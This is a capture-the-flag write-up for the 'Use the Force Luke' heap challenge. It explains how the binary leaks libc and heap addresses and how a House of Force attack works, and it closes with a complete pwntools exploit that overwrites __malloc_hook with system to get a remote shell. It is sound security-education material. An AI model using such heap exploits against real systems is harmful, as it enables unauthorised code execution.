Use the Force Luke
noobhacker
Challenge Description
nc 0.cloud.chals.io 11996
Author: cdmann
Hint: Anyone interested in heap exploitation should check out Max Kamper’s courses on Udemy. They go on discount frequently!
TL;DR
Binary gives system and heap address; heap overflow into size of top chunk, use House of Force to get shell.
Writeup
This was a hard challenge worth 392 points in the end from Space Heroes CTF. We are given a zip file with the following contents and an instance.
$ unzip -l force.zip
Archive: force.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-03-25 23:19 force/
8880 2022-02-10 22:11 force/force
0 2022-03-24 21:47 force/.glibc/
0 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/
1373376 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/ld.so.2
17087400 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/libc-2.28.so
0 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/malloc/
182618 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/malloc/malloc.c
17087400 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/libc.so.6
1373376 2022-02-10 19:34 force/.glibc/glibc_2.28_no-tcache/ld-2.28.so
--------- -------
37113050 10 files
So, glibc 2.28 with no tcache, and malloc.c
indicates towards a heap exploit.
Running this binary gives the following output:
$ ./force
"This is our chance to destroy the Death Star, Luke"
You feel a system at 0x7fa5211fdb70
You feel something else at 0x138c000
(1) Reach out with the force
(2) Surrender
1
How many midi-chlorians?: 10
What do you feel?: AAAAAAA
(1) Reach out with the force
(2) Surrender
2
Classic heap challenge. Let’s open this up in ghidra.
undefined8 main(void) {
// Note that the variables have been renamed already.
long usable_size;
long in_FS_OFFSET;
int choice;
int i;
size_t size;
void *chunk1;
void *chunk;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
puts("\"This is our chance to destroy the Death Star, Luke\"");
printf("You feel a system at %p\n",system);
chunk1 = malloc(0x88);
printf("You feel something else at %p\n",(long)chunk1 + -0x10);
free(chunk1);
for (i = 0; i < 4; i = i + 1) {
puts("(1) Reach out with the force");
puts("(2) Surrender");
__isoc99_scanf(&percent_u,&choice);
if (choice == 2) break;
printf("How many midi-chlorians?: ");
__isoc99_scanf(&percent_llu,&size);
printf("What do you feel?: ");
chunk = malloc(size);
usable_size = malloc_usable_size(chunk);
read(0,chunk,usable_size + 8);
}
if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
__stack_chk_fail();
}
Fairly straightforward. The binary gives the address of system, which we can use to find the base of libc and the string “/bin/sh” inside it. Interestingly, it also allocates a chunk and gives the address of chunk-0x10
, ie. the start of the heap. This chunk is subsequently freed and coalesced with the top chunk.
Next, we have the option to quit the program or allocate a chunk, and we are able to only allocate 4 chunks and also can’t free them. Further, the binary reads in 8 bytes more than the actual size of the chunk, giving us an overflow into the size field of the top chunk.
Strategy
Since we are able to change the size of the top chunk, and the binary uses libc version 2.28, we can do a House of Force attack.
The hint points towards courses by Max Kamper, and this particular attack is also exhibited by him in this video on YouTube.
Plan:
- Allocate a chunk and overwrite size of top chunk to the max value possible, ie. 0xffffffffffffffff or -1. This makes malloc believe the top chunk will be able to service requests of abnormally large sizes, which is usually not the case. This is the essence of the House of Force technique, you can learn more from how2heap’s github repo or https://heap-exploitation.dhavalkapil.com/attacks/house_of_force.
- Allocate a chunk of size:
target_addr - top_chunk - 2 * (sizeof (void*)) - 8
.target_addr
is the target we want to overwrite, in our case the malloc hook. We subtract2 * sizeof(void*)
to take care of the prev_size and size fields of our chunk. The last 8 is buffer. - Allocate a chunk. Malloc will return a pointer to the target, so we are able to overwrite the malloc hook easily. Make
__malloc_hook
point tosystem
. - Allocate a chunk with size as the address of the string “/bin/sh” in the process memory of libc. Since we have overwritten
__malloc_hook
to point to system, any call to malloc is equivalent to a call to system, and since system will treat the first argument as char* pointer, it follows that:malloc(0x41414141) = system(char* 0x41414141)
, if 0x41414141 is the address of “/bin/sh”.
Exploit
The full exploit is given below:
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./force')
libc = ELF('./.glibc/glibc_2.28_no-tcache/libc-2.28.so')
# io = gdb.debug([elf.path])
io = remote('0.cloud.chals.io', 11996)
io.readline()
system = int(io.readline().strip().split(b' ')[-1], 16)
log.success(f'Leaked system: {hex(system)}')
libc.address = system - libc.symbols.system
log.success(f'Libc base: {hex(system)}')
heap = int(io.readline().strip().split(b' ')[-1], 16)
log.success(f'Leaked heap: {hex(heap)}')
def get_chunk(size, data):
io.sendline(b'1')
io.sendline(str(size).encode())
io.sendline(data)
get_chunk(0x10, b'A'*0x18+pack(-1))
top_chunk_addr = heap + 0x20
request_size = libc.symbols.__malloc_hook - top_chunk_addr - 2 * 8 - 8
get_chunk(request_size, '')
get_chunk(0x10, pack(system))
get_chunk(next(libc.search(b'/bin/sh\x00')), '')
io.interactive()